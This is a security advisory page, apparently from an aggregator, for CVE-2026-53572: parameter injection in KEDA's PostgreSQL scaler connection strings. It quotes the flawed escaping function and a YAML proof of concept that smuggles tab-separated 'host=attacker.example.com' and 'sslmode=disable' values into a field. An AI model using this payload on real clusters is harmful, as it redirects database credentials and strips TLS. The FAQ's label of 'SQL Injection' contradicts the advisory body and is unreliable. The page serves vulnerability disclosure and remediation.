CVE-2026-53572: KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping

Published Jul 7, 2026
·
Updated

Summary pkg/scalers/postgresqlscaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter: go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code pkg/scalers/postgresqlscaler.go, lines 155–164 and 250–257.

Impact Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can: - Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword. - Append arbitrary libpq runtime parameters (options=, applicationname=, targetsessionattrs=) to pivot behavior.

Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.

Proof of concept yaml triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.

Suggested fix - Escape / reject any ASCII whitespace (\t, \n, \r, \f, \v, space) and backslash. - Prefer the URI form (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding. - Validate each field against an allow-list pattern before use.

Resources - pkg/scalers/postgresqlscaler.go - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

Other sources

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresqlscaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

— MITRE

KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping

— Microsoft

Affected Software

2 affected componentsFixes available
go/github.com/kedacore/keda/v2<2.20.0
2.20.0
Microsoft azl3 keda 2.14.1-19<2.14.1-22
2.14.1-22

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/kedacore/keda/v2 to a version that resolves this vulnerability.

    Fixed in 2.20.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.14.1-22
  3. Upgrade

    Upgrade KEDA (postgresql scaler) to a version that resolves this vulnerability.

    Fixed in 2.20.0

Event History

Jul 7, 2026
Advisory Published
via GitHub·11:44 PM
Data Sourced
via GitHub·11:44 PM
DescriptionSeverityWeaknessAffected Software
Aug 21, 2026
CVE Published
via MITRE·08:11 PM
Data Sourced
via MITRE·08:11 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Aug 23, 2026
Data Sourced
via Microsoft·08:03 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-53572?

CVE-2026-53572 has a medium severity score of 5.9.

2

How do I fix CVE-2026-53572?

To mitigate CVE-2026-53572, ensure that all tenant-controllable fields are properly sanitized and validated before use.

3

What is the risk associated with CVE-2026-53572?

CVE-2026-53572 presents a SQL Injection risk, allowing attackers to potentially manipulate database queries.

4

In which software is CVE-2026-53572 found?

CVE-2026-53572 is found in the go/github.com/kedacore/keda/v2 software.

5

When was CVE-2026-53572 published?

CVE-2026-53572 was published on July 7, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203